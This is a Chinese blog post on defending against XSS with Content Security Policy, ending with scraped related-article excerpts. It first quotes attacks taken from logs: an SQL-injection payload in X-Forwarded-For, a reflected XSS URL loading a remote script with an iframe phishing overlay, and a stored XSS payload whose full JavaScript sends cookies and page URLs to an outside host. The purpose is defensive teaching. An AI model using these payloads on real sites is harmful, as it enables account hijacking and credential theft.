防御&捕获XSS漏洞利器之CSP

最近在整理项目组的服务器日志,从海量信息中查找有攻击嫌疑的用户。发现了千奇百怪的攻击手法,不过大部分都是SQL与XSS注入,这里说几个好玩的。

  1. 伪造HTTP_X_FORWARDED_FOR信息

    HTTP_X_FORWARDED_FOR = 127.0.0.1', select(0)from(select(sleep(3)))v', 15.19.86.28

    普通情况下我们获取到的IP型如 “\$ip = $_SERVER('HTTP_X_FORWARDED_FOR')” ,直接存入数据库就行。但是如果HTTP_X_FORWARDED_FOR被篡改就会出问题,一是数据库字段超过限制,二是脏数据太多。说严重点会有很大的安全隐患,所以我们在处理IP时务必要先处理后再入库。

    该攻击方法正是利用HTTP_X_FORWARDED_FOR的特性来达到攻击行为,HTTP_X_FORWARDED_FOR通过一个逗号+空格把多个IP地址区分开, 最左边是最原始客户端的IP地址, 代理服务器每成功收到一个请求,就把请求来源IP地址添加到右边。 如果这个请求成功通过了三台代理服务器,信息如下:proxy1, proxy2, proxy3,所以最左边的信息都是能自定义的。

  2. 利用emoji表情存储漏洞

    大多情况下我们使用的是utf8编码作为数据库的默认编码,utf8编码一个字符最多支持3个字节。然而一个emoji表情占4个字节,所以用户在修改用户名时使用emoji表情(比如微信昵称)就能利用emoji发起攻击。解决办法有两种,一是将emoji表情做一次encode编码,二是修改数据库编码,将utf8换为utf8mb4。utf8mb4编码最多能支持4个字节,并且向下兼容utf8,也是一种趋势,所以建议修改默认编码为utf8mb4。

以上问题发现后都能及时修复,对症下药确保之后不会发生。最难防的还属XSS漏洞,XSS攻击成本很低,也是很傻瓜的一种攻击方式,不过简单归简单,防御却困难,很难找到万全的办法,下面说说几个明显的攻击实例。

  1. 反射型XSS,主要通过链接传播。最常见的就是搜索页面,利用搜索内容会直接显示在页面中的特性实现XSS攻击。

    url: https://www.*.com/s?wd=/> "<script src=http://xss.tv/sjpSEz>
    </script>

    这是一个搜索功能,我们在搜索内容中加入了远程调用js的代码。如果XSS成功,我们能将该URL在各大平台传播,这就是常见的反射型XSS。我们再看看这个js文件的内容。

    top.document.body.innerHTML =
    "<iframe width=100% height=100% frameborder=0 scrolling=no
    style=position:absolute;left:0;top:0
    src=http://xj.hk/qq.php?qqnum=10010></iframe>";
    

    通过iframe替换原页面,然后加载钓鱼页面,诱导用户输入账号密码。

  2. 存储型XSS,一种影响较大的XSS,持久化的存储在数据库或者服务器中。最常见的比如评论页面,将XSS攻击代码放在评论中,访问到该页面的人都会受到攻击。

    />"<img src=x onerror=s=createElement('script');body.appendChild(s);s.src='http://t.cn/RqTFPGx';>

    这是用户提交到留言板的内容,我们在管理后台如果未做XSS过滤,就会执行远程的js文件,将cookie等信息发送到指定的服务器。下面是该远程js的核心代码:

    (function() {
        (new Image()).src = 'http://website.test/index.php?do=api&id=sjpSEz&location=' + escape((function() {
            try {
                return document.location.href
            } catch(e) {
                return ''
            }
        })()) + '&toplocation=' + escape((function() {
            try {
                return top.location.href
            } catch(e) {
                return ''
            }
        })()) + '&cookie=' + escape((function() {
            try {
                return document.cookie
            } catch(e) {
                return ''
            }
        })()) + '&opener=' + escape((function() {
            try {
                return (window.opener && window.opener.location.href) ? window.opener.location.href: ''
            } catch(e) {
                return ''
            }
        })());
    })();
    

    XSS恶心的地方是只要攻击者成功了当时就能拿到他想要的所有数据,就算修复了漏洞也不一定起作用。比如cookie信息,拿到cookie之后就相当于拥有了管理员权限,就算你修复了XSS的漏洞别人也还是能通过cookie登录。

XSS太多太难防,有个可行的办法如下。因为XSS都发生在我们的浏览器,所以我们可以利用浏览器的特性CSP(Content Security Policy)去防御大部分XSS,并且能在信息传递到攻击者手中之前做拦截并及时通知到管理员。

下面说说如何设置CSP,首先攻击者可以对我们发起XSS的攻击可能利用到的资源有9类,分别如下:

  • script-src 主要防御远程js
  • style-src 主要防御远程style
  • img-src 主要防御远程图片
  • connect-src 主要防御AJAX,WebSocket,EventSource
  • font-src 主要防御远程字体URL
  • object-src 主要防御 <object>,<embed>,<applet>
  • media-src 主要防御<audio>, <video>
  • frame-src 已过时
  • manifest-src 主要防御manifest文件的加载

其它配置信息:

  • default-src 默认包含如下所有文件的防御
  • sandbox 设置沙盒环境
  • report-uri 发生错误时将详细XSS信息发送到该url
  • child-src 主要防御 <frame>,<iframe>
  • form-action 主要防御 <form>
  • frame-ancestors 主要防御 <frame>,<iframe>,<object>,<embed>,<applet>
  • plugin-types 主要防御 <object>,<embed>,<applet>

我们需要根据自己的业务需求选择配置项,比如我配置了如下信息:

Content-security-policy:
img-src 'self' data: http://*.xxx.com;
script-src 'self' 'unsafe-inline' 'unsafe-eval' http://tmp.xxx.com;
object-src 'self';
report-uri /test/csp

通过具体的业务,我指定了图片,js文件,视频音乐等资源文件的来源。然后将错误信息发送到 /test/csp。要让代码生效,我们只需要在Header下加入如上信息即可,这里以PHP为例:

header("Content-security-policy:".
"img-src 'self' data: http://*.xxx.com;".
"script-src 'self' 'unsafe-inline' 'unsafe-eval' http://tmp.xxx.com;".
"object-src 'self';"
."report-uri /test/csp");

需要特别注意的信息是Data URI scheme资源,比如:

  • data:,文本数据
  • data:text/plain,文本数据
  • data:text/html,HTML代码
  • data:text/css;base64,css代码
  • data:text/javascript;base64,javascript代码
  • data:image/x-icon;base64,base64编码的icon图片数据
  • data:image/gif;base64,base64编码的gif图片数据
  • data:image/png;base64,base64编码的png图片数据
  • data:image/jpeg;base64,base64编码的jpeg图片数据

针对这类数据我们需要单独设置,比如"img-src 'self' data: ",其中的 “data: ”就是表明允许Data URI scheme图片资源加载,否则会报错。还有很多更深入的玩法,需要自行去挖掘。

通过CSP我们能在XSS漏洞产生不可逆转的影响之前捕获到,能防御大部分的XSS攻击。至于能不能百分百防御,或者在某些场景下能不能绕过我还未深入研究。如果以前是70分,加了CSP能提高到95分,为什么不做呢!

PS: 文章为原创,未通过本人同意不允许转载。

时间: 2024-11-01 13:39:47

防御&捕获XSS漏洞利器之CSP的相关文章

为什么主流网站无法捕获 XSS 漏洞?

二十多年来,跨站脚本(简称 XSS)漏洞一直是主流网站的心头之痛.为什么过了这么久,这些网站还是对此类漏洞束手无策呢? 对于最近 eBay 网站曝出的跨站脚本漏洞,你有什么想法?为什么会出现这样的漏网之鱼?一个如此大规模的网站,不应该具备可靠的网关安全技术以阻止任何情况下的 XSS 攻击么? 即便从上世纪 90 年代开始,跨站脚本漏洞就已经为人们所熟知.时至今日,它仍在贻害为数不少的网站.大多数主流网站,包括谷歌,CNN,PayPal 以及 Facebook,都曾受过 XSS 漏洞的影响.该漏洞

针对XSS漏洞的前端防火墙:整装待发

到目前为止,我们把能用前端脚本防御XSS 的方案都列举了一遍.尽管看起来似乎很 复杂累赘, 不过那些是理论探讨而已,在实际中未必要都实现.我们的目标只是为了预警,能发现问题就行,并非要做到滴水不漏的程度.事实上,HTML5 早已制定了一套浏览器XSS 解决方案 -- Content Security Policy,并且大多主流浏览器实现了这个标准.既然我们使用前端脚本重新实现一遍,因此得在各个方面占有优势.兼容性CSP 目前主流浏览器大多已支持,IE10.11 支持部分功能.对于 IE10 之前

安卓APP破解利器之FRIDA

本文讲的是安卓APP破解利器之FRIDA,在我去年参加RadareCon大会的时候,我了解到了一个动态的二进制插桩框架--Frida.起初我觉得它似乎只有一丁点趣味,后来经过实践才发现它原来是如此的有趣.记得游戏里的上帝模式吗?这就是Frida操作本机应用程序的感觉.这是一篇关于专门使用Frida把玩Android应用程序的博客文章.而且,因为我们是在阐述这一点,所以我们也将在这篇文章的第二部分中进行一点Android APP的破解实战. 什么是动态二进制插桩? 动态二进制插桩(DBI)意味着将

针对XSS漏洞的前端防火墙:无懈可击的钩子

昨天尝试了一系列的可疑模块拦截试验,尽管最终的方案还存在着一些兼容性问题,但大体思路已经明确了:静态模块:使用 MutationObserver 扫描.动态模块:通过 API 钩子来拦截路径属性.提到钩子程序,大家会联想到传统应用程序里的 API Hook,以及各种外挂木马.当然,未必是系统函数,任何 CPU 指令都能被改写成跳转指令,以实现先运行自己的程序.无论是在哪个层面,钩子程序的核心理念都是一样的:无需修改已有的程序,即可先执行我们的程序.这是一种链式调用的模式.调用者无需关心上一级的细

针对XSS漏洞的前端防火墙:内联事件拦截

关于XSS漏洞怎样形成.如何注入.能做什么.如何防范,前人已有无数的探讨,这里就不再累述了.本文介绍的则是另一种预防思路.几乎每篇谈论 XSS 的文章,结尾 多少都会提到如何 防止,然而大多万变不离其宗.要转义什么,要过滤什么,不要忘了什么之类的.尽管都是众所周知的道理,但 XSS 漏洞十几年来几乎从未中断过,不乏一些大网站也时常爆出,小网站更是家常便饭.预警系统事实上,至今仍未有一劳永逸的解决方案,要避免它依旧使用最古老的土办法,逐个的过滤.然而人总有疏忽的时候,每当产品迭代更新时,难免会遗漏

针对XSS漏洞的前端防火墙:可疑模块拦截

上一篇介绍的系统,虽然能防御简单的内联XSS 代码,但想绕过还是很容易的.由于是在前端防护,策略配置都能在源代码里找到,因此很快就能试出破解方案.并且攻击者可以屏蔽日志接口,在自己电脑上永不发出报警信息,保证测试时不会被发现.昨天提到最简单并且最常见的XSS代码,就是加载站外的一个脚本文件.对于这种情况,关键字扫描就无能为力了,因为代码可以混淆的千变万化,我们看不出任何异常,只能将其放行.因此,我们还需增加一套可疑模块跟踪系统.被动扫描和之前说的一样,最简单的办法仍是遍历扫描.我们可以定时分析页

APP漏洞扫描器之本地拒绝服务检测详解

APP漏洞扫描器之本地拒绝服务检测详解 作者:伊樵@阿里聚安全 阿里聚安全的Android应用漏洞扫描器有一个检测项是本地拒绝服务漏洞的检测,采用的是静态分析加动态模糊测试的方法来检测,检测结果准确全面.本文将讲一下应用漏洞扫描器在针对本地拒绝服务的检测方法. 一.本地拒绝服务产生原因和影响 Android应用使用Intent机制在组件之间传递数据,如果应用在使用getIntent(),getAction(),Intent.getXXXExtra()获取到空数据.异常或者畸形数据时没有进行异常捕

JSP安全开发之XSS漏洞详解_java

前言      大家好,好男人就是我,我就是好男人,我就是-0nise.在各大漏洞举报平台,我们时常会看到XSS漏洞.那么问题来了,为何会出现这种漏洞?出现这种漏洞应该怎么修复? 正文 1.XSS?XSS?XSS是什么鬼?      XSS又叫跨站脚本攻击(Cross Site Scripting),我不会告诉他原本是叫CSS的,但是为了不和我们所用的层叠样式表(Cascading Style Sheets)CSS搞混.CSS(跨站脚本攻击),CSS(层叠样式表)傻傻分不清.所以就叫XSS咯.

IE极度危险XSS漏洞 开启高度可信钓鱼攻击

本文讲的是IE极度危险XSS漏洞 开启高度可信钓鱼攻击,IE浏览器一个通用跨站脚本漏洞(XSS)近日被安全人员披露,该漏洞允许攻击者绕过浏览器安全机制同源策略(SOP),发起高可信网络钓鱼攻击或在任意网站上劫持用户帐户.杜森(Deusen)安全咨询公司的研究员大卫·利奥在漏洞披露文章中介绍了漏洞的详细信息. 文章中利用概念验证链接dailymail.co.uk,作为攻击目标进行演示.根据演示链接,当在最新安装的Windows8.1操作系统的计算机上打开网页浏览器IE11时,利用页面为用户提供了一